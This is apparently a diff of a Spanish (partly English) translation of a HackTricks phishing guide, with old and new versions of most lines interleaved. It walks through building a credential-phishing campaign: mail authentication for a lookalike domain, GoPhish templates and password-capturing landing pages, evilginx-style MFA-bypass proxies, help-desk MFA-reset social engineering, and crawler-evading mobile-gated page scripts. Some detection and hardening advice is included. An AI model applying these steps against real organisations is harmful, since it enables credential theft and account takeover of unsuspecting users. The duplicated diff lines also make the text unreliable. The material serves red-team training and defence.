Debes **configurar un registro SPF para el nuevo dominio**. Si no sabes qué es un registro SPF [**lee esta página**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
Puedes usar [https://www.spfwizard.net/](https://www.spfwizard.net) para generar tu política SPF (usa la IP de la máquina VPS)
You can use [https://www.spfwizard.net/](https://www.spfwizard.net) to generate your SPF policy (use the IP of the VPS machine)
![](<../../images/image (1037).png>)
Este es el contenido que debe establecerse dentro de un registro TXT en el dominio:
This is the content that must be set inside a TXT record inside the domain:
```bash
v=spf1 mx a ip4:ip.ip.ip.ip ?all
```
### Registro DMARC (Domain-based Message Authentication, Reporting & Conformance)
Debes **configurar un registro DMARC para el nuevo dominio**. Si no sabes qué es un registro DMARC [**lee esta página**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc).
Debes **configurar un registro DMARC para el nuevo dominio**. Si no sabes qué es un registro DMARC [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc).
Tienes que crear un nuevo registro DNS TXT apuntando el hostname `_dmarc.<domain>` con el siguiente contenido:
Debes crear un nuevo registro DNS TXT que apunte al hostname `_dmarc.<domain>` con el siguiente contenido:
```bash
v=DMARC1; p=none
```
@ -260,7 +260,7 @@ v=DMARC1; p=none
Debes **configurar un DKIM para el nuevo dominio**. Si no sabes qué es un registro DMARC [**lee esta página**](../../network-services-pentesting/pentesting-smtp/index.html#dkim).
Este tutorial se basa en: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
Este tutorial está basado en: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
> [!TIP]
> Necesitas concatenar ambos valores B64 que genera la clave DKIM:
@ -269,14 +269,14 @@ Este tutorial se basa en: [https://www.digitalocean.com/community/tutorials/how-
> v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB
> ```
### Prueba la puntuación de la configuración de tu correo electrónico
### Prueba la puntuación de la configuración de tu email
Puedes hacerlo usando [https://www.mail-tester.com/](https://www.mail-tester.com)\
Solo accede a la página y envía un correo a la dirección que te dan:
Simplemente accede a la página y envía un email a la dirección que te dan:
```bash
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
```
También puedes **comprobar tu configuración de correo** enviando un correo a `check-auth@verifier.port25.com` y **leer la respuesta** (para esto necesitarás **abrir** el puerto **25** y ver la respuesta en el archivo _/var/mail/root_ si envías el correo como root).\
También puedes **comprobar la configuración de tu email** enviando un email a `check-auth@verifier.port25.com` y **leer la respuesta** (para esto necesitarás **abrir** port **25** y ver la respuesta en el archivo _/var/mail/root_ si envías el email como root).\
Comprueba que pasas todas las pruebas:
```bash
==========================================================
@ -288,40 +288,40 @@ DKIM check: pass
Sender-ID check: pass
SpamAssassin check: ham
```
También puedes enviar un **mensaje a un Gmail bajo tu control**, y comprobar las **cabeceras del correo** en tu bandeja de entrada de Gmail, `dkim=pass` debería estar presente en el campo de cabecera `Authentication-Results`.
También podrías enviar **un mensaje a una cuenta de Gmail bajo tu control**, y revisar los **encabezados del correo** en tu bandeja de entrada de Gmail, `dkim=pass` debería estar presente en el campo `Authentication-Results`.
```
Authentication-Results: mx.google.com;
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
dkim=pass header.i=@example.com;
```
### Eliminación de la lista negra de Spamhouse
### Eliminación de Spamhouse Blacklist
La página [www.mail-tester.com](https://www.mail-tester.com) puede indicarte si tu dominio está siendo bloqueado por Spamhouse. Puedes solicitar que tu dominio/IP sea eliminado en: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
La página [www.mail-tester.com](https://www.mail-tester.com) puede indicarte si tu dominio está siendo bloqueado por spamhouse. Puedes solicitar que tu dominio/IP sea eliminado en: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
### Eliminación de la lista negra de Microsoft
### Eliminación de Microsoft Blacklist
Puedes solicitar que tu dominio/IP sea eliminado en [https://sender.office.com/](https://sender.office.com).
## Crear & lanzar campaña de GoPhish
## Crear y lanzar campaña de GoPhish
### Perfil de envío
- Asigna algún **nombre para identificar** el perfil del remitente
- Decide desde qué cuenta vas a enviar los emails de phishing. Sugerencias: _noreply, support, servicedesk, salesforce..._
- Puedes dejar en blanco el username y password, pero asegúrate de marcar Ignore Certificate Errors
- Pon algún **nombre para identificar** el perfil del remitente
- Decide desde qué cuenta vas a enviar los correos de phishing. Sugerencias: _noreply, support, servicedesk, salesforce..._
- Puedes dejar en blanco el username y password, pero asegúrate de marcar la opción Ignore Certificate Errors
![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
> [!TIP]
> It's recommended to use the "**Send Test Email**" functionality to test that everything is working.\
> Recomiendo **enviar los correos de prueba a direcciones de 10min mails** para evitar ser listado en listas negras al hacer pruebas.
> Se recomienda usar la funcionalidad "**Send Test Email**" para comprobar que todo funciona.\
> Recomendaría **enviar los correos de prueba a direcciones 10min mails** para evitar ser blacklisted al hacer pruebas.
### Plantilla de correo
### Plantilla de email
- Asigna algún **nombre para identificar** la plantilla
- Luego escribe un **subject** (nada extraño, simplemente algo que esperarías leer en un correo normal)
- Pon algún **nombre para identificar** la plantilla
- Luego escribe un **subject** (nada extraño, algo que podrías esperar leer en un correo normal)
- Asegúrate de haber marcado "**Add Tracking Image**"
- Escribe la **email template** (puedes usar variables como en el siguiente ejemplo):
- Escribe la **plantilla de email** (puedes usar variables como en el siguiente ejemplo):
```html
<html>
<head>
@ -340,65 +340,65 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
</body>
</html>
```
Tenga en cuenta que **para aumentar la credibilidad del correo electrónico**, se recomienda usar alguna firma de un email del cliente. Sugerencias:
Tenga en cuenta que, para **aumentar la credibilidad del correo**, se recomienda usar alguna firma de un correo real del cliente. Sugerencias:
- Enviar un email a una **dirección inexistente** y comprobar si la respuesta tiene alguna firma.
- Buscar **emails públicos** como info@ex.com o press@ex.com o public@ex.com y enviarles un correo y esperar la respuesta.
- Intentar contactar **algún email válido descubierto** y esperar la respuesta
- Enviar un correo a una **dirección inexistente** y comprobar si la respuesta contiene alguna firma.
- Buscar **correos públicos** como info@ex.com o press@ex.com o public@ex.com y enviarles un correo y esperar la respuesta.
- Intentar contactar **algún email válido descubierto** y esperar la respuesta.
![](<../../images/image (80).png>)
> [!TIP]
> The Email Template also allows to **attach files to send**. If you would also like to steal NTLM challenges using some specially crafted files/documents [read this page](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
> La Plantilla de Email también permite **adjuntar archivos para enviar**. Si además quieres robar desafíos NTLM usando algunos ficheros/documentos especialmente diseñados [lee esta página](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
### Página de destino
### Página de aterrizaje
- Escribir un **nombre**
- **Escribir el código HTML** de la página web. Ten en cuenta que puedes **importar** páginas web.
- Marcar **Capture Submitted Data** y **Capture Passwords**
- Establecer una **redirección**
- Configurar una **redirección**
![](<../../images/image (826).png>)
> [!TIP]
> Normalmente necesitarás modificar el código HTML de la página y hacer algunas pruebas en local (quizá usando algún servidor Apache) **hasta que te guste el resultado.** Entonces, pega ese código HTML en el cuadro.\
> Ten en cuenta que si necesitas **usar recursos estáticos** para el HTML (por ejemplo CSS y JS) puedes guardarlos en _**/opt/gophish/static/endpoint**_ y luego acceder a ellos desde _**/static/\<filename>**_
> Normalmente necesitarás modificar el código HTML de la página y hacer algunas pruebas localmente (quizá usando algún servidor Apache) **hasta que te gusten los resultados.** Luego, escribe ese código HTML en el recuadro.\
> Ten en cuenta que si necesitas **usar algunos recursos estáticos** para el HTML (quizá CSS y JS) puedes guardarlos en _**/opt/gophish/static/endpoint**_ y luego acceder a ellos desde _**/static/\<filename>**_
> [!TIP]
> Para la redirección podrías **redirigir a los usuarios a la web legítima principal** de la víctima, o redirigirlos a _/static/migration.html_ por ejemplo, poner una **rueda giratoria (**[**https://loading.io/**](https://loading.io)**) durante 5 segundos y luego indicar que el proceso fue exitoso**.
> Para la redirección podrías **redirigir a los usuarios a la página legítima principal** de la víctima, o redirigirlos a _/static/migration.html_ por ejemplo, poner una **rueda de carga (**[**https://loading.io/**](https://loading.io)**) durante 5 segundos y luego indicar que el proceso fue exitoso**.
### Usuarios & Grupos
### Usuarios y Grupos
- Establecer un nombre
- **Importar los datos** (ten en cuenta que para usar la plantilla en el ejemplo necesitas el firstname, last name y email address de cada usuario)
- Poner un nombre
- **Importar los datos** (nota que para usar la plantilla de ejemplo necesitas el firstname, last name y email address de cada usuario)
![](<../../images/image (163).png>)
### Campaña
Finalmente, crea una campaña seleccionando un nombre, la plantilla de email, la landing page, la URL, el Sending Profile y el grupo. Ten en cuenta que la URL será el enlace enviado a las víctimas
Finalmente, crea una campaña seleccionando un nombre, la plantilla de email, la landing page, la URL, el perfil de envío y el grupo. Ten en cuenta que la URL será el enlace enviado a las víctimas.
Ten en cuenta que el **Sending Profile permite enviar un email de prueba para ver cómo quedará el correo final de phishing**:
Ten en cuenta que el **Sending Profile permite enviar un email de prueba para ver cómo quedará el phishing final**:
![](<../../images/image (192).png>)
> [!TIP]
> Recomendaría **enviar los correos de prueba a direcciones 10min mails** para evitar ser blacklistado mientras haces pruebas.
> Recomendaría **enviar los correos de prueba a direcciones 10min mails** para evitar ser incluido en listas negras mientras realizas pruebas.
¡Una vez que todo esté listo, lanza la campaña!
## Website Cloning
## Clonación de sitio web
Si por alguna razón quieres clonar el sitio web, consulta la siguiente página:
Si por alguna razón quieres clonar el sitio web consulta la siguiente página:
{{#ref}}
clone-a-website.md
{{#endref}}
## Backdoored Documents & Files
## Documentos y archivos con backdoor
En algunas evaluaciones de phishing (principalmente para Red Teams) también querrás **enviar archivos que contengan algún tipo de backdoor** (quizá un C2 o quizá algo que solo desencadene una autenticación).\
En algunas evaluaciones de phishing (principalmente para Red Teams) querrás también **enviar archivos que contengan algún tipo de backdoor** (quizá un C2 o quizá algo que provoque una autenticación).\
Consulta la siguiente página para algunos ejemplos:
@ -408,55 +408,55 @@ phishing-documents.md
## Phishing MFA
### Via Proxy MitM
### Vía Proxy MitM
El ataque anterior es bastante ingenioso ya que estás falsificando un sitio real y recopilando la información que introduce el usuario. Desafortunadamente, si el usuario no introduce la contraseña correcta o si la aplicación que falsificaste está configurada con 2FA, **esa información no te permitirá suplantar al usuario engañado**.
El ataque anterior es bastante ingenioso ya que estás falsificando una web real y recopilando la información introducida por el usuario. Desafortunadamente, si el usuario no introduce la contraseña correcta o si la aplicación que has falsificado está configurada con 2FA, **esta información no te permitirá suplantar al usuario engañado**.
Aquí es donde herramientas como [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) y [**muraena**](https://github.com/muraenateam/muraena) son útiles. Esta herramienta te permitirá generar un ataque tipo MitM. Básicamente, el ataque funciona de la siguiente manera:
Aquí es donde herramientas como [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) y [**muraena**](https://github.com/muraenateam/muraena) resultan útiles. Esta herramienta te permitirá generar un ataque MitM. Básicamente, el ataque funciona de la siguiente manera:
1. Tú **suplantas el formulario de login** de la página real.
2. El usuario **envía** sus **credentials** a tu página falsa y la herramienta las reenvía a la página real, **comprobando si las credenciales funcionan**.
3. Si la cuenta está configurada con **2FA**, la página MitM pedirá el código y una vez que el **usuario lo introduce** la herramienta lo enviará a la página real.
4. Una vez que el usuario está autenticado tú (como atacante) habrás **capturado las credenciales, el 2FA, la cookie y cualquier información** de cada interacción mientras la herramienta realiza el MitM.
2. El usuario **envía** sus **credenciales** a tu página falsa y la herramienta las reenvía a la página real, **comprobando si funcionan**.
3. Si la cuenta está configurada con **2FA**, la página MitM pedirá ese código y, una vez que el **usuario lo introduce**, la herramienta lo enviará a la página real.
4. Una vez el usuario está autenticado, tú (como atacante) habrás **capturado las credenciales, el 2FA, la cookie y cualquier información** de cada interacción mientras la herramienta realiza el MitM.
### Via VNC
### Vía VNC
¿Qué pasa si en lugar de **enviar a la víctima a una página maliciosa** con apariencia igual a la original, la envías a una **sesión VNC con un navegador conectado al sitio real**? Podrás ver lo que hace, robar la contraseña, el MFA usado, las cookies...\
¿Qué pasa si, en lugar de **enviar a la víctima a una página maliciosa** con la misma apariencia que la original, la envías a una **sesión VNC con un navegador conectado a la página real**? Podrás ver lo que hace, robar la contraseña, la MFA utilizada, las cookies...\
Puedes hacer esto con [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
## Detecting the detection
## Detectando la detección
Obviamente, una de las mejores maneras de saber si te han pillado es **buscar tu dominio en listas negras**. Si aparece listado, de alguna forma tu dominio fue detectado como sospechoso.\
Obviamente una de las mejores formas de saber si te han descubierto es **buscar tu dominio en listas negras**. Si aparece listado, de alguna forma tu dominio fue detectado como sospechoso.\
Una forma fácil de comprobar si tu dominio aparece en alguna blacklist es usar [https://malwareworld.com/](https://malwareworld.com)
Sin embargo, hay otras formas de saber si la víctima está **buscando activamente actividad de phishing sospechosa en la red** como se explica en:
Sin embargo, hay otras formas de saber si la víctima está **buscando activamente actividad de phishing sospechosa en el entorno** como se explica en:
{{#ref}}
detecting-phising.md
{{#endref}}
Puedes **comprar un dominio con un nombre muy similar** al dominio de la víctima **y/o generar un certificado** para un **subdominio** de un dominio controlado por ti **que contenga** la **palabra clave** del dominio de la víctima. Si la **víctima** realiza cualquier tipo de interacción **DNS o HTTP** con ellos, sabrás que **está buscando activamente** dominios sospechosos y tendrás que ser muy sigiloso.
Puedes **comprar un dominio con un nombre muy similar** al dominio de la víctima **y/o generar un certificado** para un **subdominio** de un dominio controlado por ti **conteniendo** la **palabra clave** del dominio de la víctima. Si la **víctima** realiza cualquier tipo de interacción DNS o HTTP con ellos, sabrás que **está buscando activamente** dominios sospechosos y tendrás que ser muy sigiloso.
### Evaluar el phishing
Usa [**Phishious** ](https://github.com/Rices/Phishious) para evaluar si tu email terminará en la carpeta de spam o si va a ser bloqueado o será exitoso.
Usa [**Phishious** ](https://github.com/Rices/Phishious) para evaluar si tu email va a terminar en la carpeta de spam o si va a ser bloqueado o tendrá éxito.
## High-Touch Identity Compromise (Help-Desk MFA Reset)
## Compromiso de identidad de alto contacto (Reseteo de MFA vía Help-Desk)
Los conjuntos de intrusión modernos cada vez evitan totalmente los señuelos por email y **apuntan directamente al flujo de trabajo de service-desk / identity-recovery** para derrotar el MFA. El ataque es totalmente "living-off-the-land": una vez que el operador posee credenciales válidas pivota con herramientas administrativas integradas no se requiere malware.
Los conjuntos de intrusión modernos cada vez más omiten por completo los correos y **apuntan directamente al flujo de trabajo del service-desk / recuperación de identidad** para derrotar el MFA. El ataque es completamente "living-off-the-land": una vez que el operador posee credenciales válidas pivotan con herramientas administrativas integradas no se requiere malware.
### Flujo de ataque
### Flujo del ataque
1. Recon de la víctima
* Recopilar detalles personales y corporativos de LinkedIn, breaches de datos, GitHub público, etc.
* Recolectar detalles personales y corporativos de LinkedIn, breaches de datos, GitHub público, etc.
* Identificar identidades de alto valor (ejecutivos, IT, finanzas) y enumerar el **proceso exacto del help-desk** para reset de contraseña / MFA.
2. Ingeniería social en tiempo real
* Llamar por teléfono, Teams o chat al help-desk haciéndose pasar por el objetivo (a menudo con **spoofed caller-ID** o **voz clonada**).
* Proporcionar el PII previamente recopilado para pasar la verificación basada en conocimiento.
* Convencer al agente para que **reseteé el secreto MFA** o realice un **SIM-swap** en un número móvil registrado.
* Llamar por teléfono, Teams o chat al help-desk haciéndose pasar por el objetivo (a menudo con **caller-ID spoofing** o **voz clonada**).
* Proporcionar la PII previamente recolectada para pasar la verificación basada en conocimiento.
* Convencer al agente para que **resetee el secreto MFA** o realice un **SIM-swap** en un número móvil registrado.
3. Acciones inmediatas post-acceso (≤60 min en casos reales)
* Establecer un foothold a través de cualquier portal web SSO.
* Enumerar AD / AzureAD con herramientas integradas (sin dejar binarios):
* Enumerar AD / AzureAD con herramientas integradas (sin dropear binarios):
```powershell
# list directory groups & privileged roles
Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME}
@ -467,35 +467,35 @@ Get-MgDirectoryRole | ft DisplayName,Id
# Enumerate devices the account can login to
Get-MgUserRegisteredDevice -UserId <user@corp.local>
```
* Movimiento lateral con **WMI**, **PsExec**, o agentes legítimos de **RMM** ya en lista blanca en el entorno.
* Movimiento lateral con **WMI**, **PsExec**, o agentes legítimos **RMM** ya en la whitelist del entorno.
### Detección & Mitigación
* Tratar la recuperación de identidad por help-desk como una **operación privilegiada** requerir step-up auth y aprobación del manager.
* Desplegar reglas de **Identity Threat Detection & Response (ITDR)** / **UEBA** que alerten sobre:
* Método MFA cambiado + autenticación desde nuevo dispositivo / geolocalización.
* Elevación inmediata del mismo principal (user-→-admin).
* Grabar las llamadas al help-desk y exigir una **devolución de llamada a un número ya registrado** antes de cualquier reseteo.
### Detección y mitigación
* Tratar la recuperación de identidad por help-desk como una **operación privilegiada** requerir step-up auth y aprobación de manager.
* Desplegar **Identity Threat Detection & Response (ITDR)** / reglas **UEBA** que alerten sobre:
* Método MFA cambiado + autenticación desde un nuevo dispositivo / geo.
* Elevación inmediata del mismo principal (useradmin).
* Grabar llamadas del help-desk y aplicar un **call-back a un número ya registrado** antes de cualquier reset.
* Implementar **Just-In-Time (JIT) / Privileged Access** para que las cuentas recién reseteadas **no** hereden automáticamente tokens de alto privilegio.
---
## At-Scale Deception SEO Poisoning & “ClickFix” Campaigns
Los grupos commodity compensan el coste de las operaciones high-touch con ataques masivos que convierten a **los motores de búsqueda & redes de anuncios en el canal de entrega**.
## Decepción a gran escala SEO Poisoning y campañas “ClickFix”
Las crews commodity compensan el coste de las operaciones de alto contacto con ataques masivos que convierten a los **motores de búsqueda y redes de anuncios en el canal de entrega**.
1. **SEO poisoning / malvertising** impulsa un resultado falso como `chromium-update[.]site` a los primeros anuncios de búsqueda.
2. La víctima descarga un pequeño **first-stage loader** (a menudo JS/HTA/ISO). Ejemplos observados por Unit 42:
1. **SEO poisoning / malvertising** impulsa un resultado falso como `chromium-update[.]site` a los anuncios de búsqueda principales.
2. La víctima descarga un pequeño **first-stage loader** (a menudo JS/HTA/ISO). Ejemplos vistos por Unit 42:
* `RedLine stealer`
* `Lumma stealer`
* `Lampion Trojan`
3. El loader exfiltra cookies del navegador + bases de datos de credenciales, luego descarga un **silent loader** que decide *en tiempo real* si desplegar:
3. El loader exfiltra cookies del navegador + DBs de credenciales, luego descarga un **silent loader** que decide *en tiempo real* si desplegar:
* RAT (p. ej. AsyncRAT, RustDesk)
* ransomware / wiper
* componente de persistencia (clave Run en registry + tarea programada)
* componente de persistencia (clave Run del registro + tarea programada)
### Consejos de hardening
* Bloquear dominios recién registrados y aplicar **Advanced DNS / URL Filtering** en *search-ads* además del email.
* Bloquear dominios recién registrados y aplicar **Advanced DNS / URL Filtering** en *search-ads* así como en e-mail.
* Restringir la instalación de software a paquetes MSI firmados / Store, denegar la ejecución de `HTA`, `ISO`, `VBS` por política.
* Monitorizar procesos hijo de navegadores que abran instaladores:
* Monitorizar procesos hijos de navegadores que abran instaladores:
```yaml
- parent_image: /Program Files/Google/Chrome/*
and child_image: *\\*.exe
@ -504,18 +504,18 @@ and child_image: *\\*.exe
---
## AI-Enhanced Phishing Operations
Los atacantes ahora encadenan **APIs LLM & de clonación de voz** para cebos totalmente personalizados e interacción en tiempo real.
## Operaciones de phishing mejoradas con IA
Los atacantes ahora encadenan **APIs LLM y de clonación de voz** para cebos totalmente personalizados e interacción en tiempo real.
| Layer | Example use by threat actor |
|-------|-----------------------------|
|Automation|Generate & send >100 k emails / SMS with randomised wording & tracking links.|
|Generative AI|Produce *one-off* emails referencing public M&A, inside jokes from social media; deep-fake CEO voice in callback scam.|
|Agentic AI|Autonomously register domains, scrape open-source intel, craft next-stage mails when a victim clicks but doesnt submit creds.|
| Capa | Ejemplo de uso por el actor de amenaza |
|------|----------------------------------------|
| Automatización | Generar y enviar >100 k emails / SMS con redacción aleatoria y enlaces de tracking. |
| IA generativa | Producir correos *one-off* que hagan referencia a M&A públicas, chistes internos de redes sociales; voz deep-fake del CEO en una llamada de suplantación. |
| IA agentiva | Registrar dominios de forma autónoma, raspar intel open-source, crear emails de siguiente etapa cuando una víctima hace clic pero no envía credenciales. |
**Defence:**
• Añadir **banners dinámicos** que destaquen mensajes enviados desde automatización no confiable (mediante anomalías ARC/DKIM).
• Desplegar **frases de desafío biométricas de voz** para solicitudes telefónicas de alto riesgo.
**Defensa:**
• Añadir **banners dinámicos** que destaquen mensajes enviados desde automatizaciones no confiables (por anomalías ARC/DKIM).
• Desplegar **frases de desafío biométrico de voz** para solicitudes telefónicas de alto riesgo.
• Simular continuamente cebos generados por IA en los programas de concienciación las plantillas estáticas están obsoletas.
See also agentic browsing abuse for credential phishing:
@ -526,20 +526,20 @@ ai-agent-mode-phishing-abusing-hosted-agent-browsers.md
---
## MFA Fatigue / Push Bombing Variant Forced Reset
Además del push-bombing clásico, los operadores simplemente **forzan un nuevo registro MFA** durante la llamada al help-desk, anulando el token existente del usuario. Cualquier solicitud de inicio de sesión posterior parecerá legítima para la víctima.
## MFA Fatigue / Variante Push Bombing Forced Reset
Además del push-bombing clásico, los operadores simplemente **forzan un nuevo registro MFA** durante la llamada al help-desk, aniquilando el token existente del usuario. Cualquier solicitud de inicio de sesión subsecuente parecerá legítima para la víctima.
```text
[Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?”
[Help-Desk] → AzureAD: Delete existing methods → sends registration e-mail
[Attacker] → Completes new TOTP enrolment on their own device
```
Monitorear eventos de AzureAD/AWS/Okta donde **`deleteMFA` + `addMFA`** ocurran **en cuestión de minutos desde la misma IP**.
Monitorea eventos de AzureAD/AWS/Okta donde **`deleteMFA` + `addMFA`** ocurran **en minutos desde la misma IP**.
## Clipboard Hijacking / Pastejacking
Los atacantes pueden copiar silenciosamente comandos maliciosos en el clipboard de la víctima desde una página web comprometida o typosquatted y luego engañar al usuario para que los pegue en **Win + R**, **Win + X** o una ventana de terminal, ejecutando código arbitrario sin ninguna descarga o adjunto.
Los atacantes pueden copiar silenciosamente comandos maliciosos en el portapapeles de la víctima desde una página web comprometida o typosquatted y luego engañar al usuario para que los pegue dentro de **Win + R**, **Win + X** o una ventana de terminal, ejecutando código arbitrario sin ninguna descarga o archivo adjunto.
{{#ref}}
@ -553,6 +553,33 @@ clipboard-hijacking.md
mobile-phishing-malicious-apps.md
{{#endref}}
### Mobilegated phishing to evade crawlers/sandboxes
Los operadores cada vez más colocan sus flujos de phishing detrás de una comprobación simple del dispositivo para que los crawlers de escritorio nunca lleguen a las páginas finales. Un patrón común es un pequeño script que prueba si el DOM es compatible con touch y envía el resultado a un endpoint del servidor; los clientes no móviles reciben HTTP 500 (o una página en blanco), mientras que a los usuarios móviles se les sirve el flujo completo.
Minimal client snippet (typical logic):
```html
<script src="/static/detect_device.js"></script>
```
`detect_device.js` lógica (simplificada):
```javascript
const isMobile = ('ontouchstart' in document.documentElement);
fetch('/detect', {method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify({is_mobile:isMobile})})
.then(()=>location.reload());
```
Comportamiento del servidor observado con frecuencia:
- Establece una cookie de sesión durante la primera carga.
- Acepta `POST /detect {"is_mobile":true|false}`.
- Devuelve 500 (o placeholder) en GETs posteriores cuando `is_mobile=false`; sirve phishing solo si `true`.
Heurísticas de hunting y detección:
- Consulta urlscan: `filename:"detect_device.js" AND page.status:500`
- Telemetría web: secuencia de `GET /static/detect_device.js``POST /detect` → HTTP 500 para nomóviles; rutas legítimas de víctimas móviles devuelven 200 con HTML/JS posterior.
- Bloquear o escrutar páginas que condicionen el contenido exclusivamente a `ontouchstart` u otras comprobaciones de dispositivo similares.
Consejos de defensa:
- Ejecutar crawlers con fingerprints de tipo móvil y JS habilitado para revelar contenido restringido.
- Generar alertas por respuestas 500 sospechosas tras `POST /detect` en dominios recién registrados.
## Referencias
- [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)
@ -560,5 +587,6 @@ mobile-phishing-malicious-apps.md
- [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/)
- [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
- [2025 Unit 42 Global Incident Response Report Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/)
- [Silent Smishing mobile-gated phishing infra and heuristics (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
{{#include ../../banners/hacktricks-training.md}}